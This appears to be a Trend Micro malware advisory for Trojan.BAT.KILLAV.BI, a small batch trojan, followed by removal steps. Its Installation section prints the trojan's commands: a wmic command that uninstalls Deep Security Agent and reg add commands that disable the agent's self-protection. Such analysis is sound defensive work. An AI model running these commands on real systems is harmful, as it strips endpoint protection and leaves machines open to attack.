Trojan.BAT.KILLAV.BI

October 07, 2020
 Analysis by: Thea Patrice Tajonera
 ALIASES:

N/A

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

390 bytes

File Type:

BAT

Initial Samples Received Date:

15 Apr 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • timeout /t 5
  • wmic product where name="Trend Micro Deep Security Agent" call uninstall /no interactive
  • reg add "HKLM\SOFTWARE\TrendMicro\Deep Security Agent or Relay" /v "Self Protect" /t reg_dword /d 0 /f
  • reg add "HKLM\Software\TrendMicro\Deep Security Agent" /v "Self Protect" /t reg_dword /d 0 /f

Other System Modifications

This Trojan adds the following registry entries:

HKEY_LOCAL_MACHINE\Software\TrendMicro\
Deep Security Agent
Self Protect = 0

HKEY_LOCAL_MACHINE\SOFTWARE\TrendMicro\
Deep Security Agent or Relay
Self Protect = 0

Other Details

This Trojan adds the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\TrendMicro\
Deep Security Agent or Relay

HKEY_LOCAL_MACHINE\Software\TrendMicro\
Deep Security Agent

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

15.806.02

FIRST VSAPI PATTERN DATE:

15 Apr 2020

VSAPI OPR PATTERN File:

15.807.00

VSAPI OPR PATTERN Date:

16 Apr 2020

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_LOCAL_MACHINE\SOFTWARE\TrendMicro\Deep Security Agent or Relay
    • Self Protect=0
  • In HKEY_LOCAL_MACHINE\Software\TrendMicro\Deep Security Agent
    • Self Protect=0

Step 4

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • HKEY_LOCAL_MACHINE\SOFTWARE\TrendMicro\Deep Security Agent or Relay
  • HKEY_LOCAL_MACHINE\Software\TrendMicro\Deep Security Agent

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.KILLAV.BI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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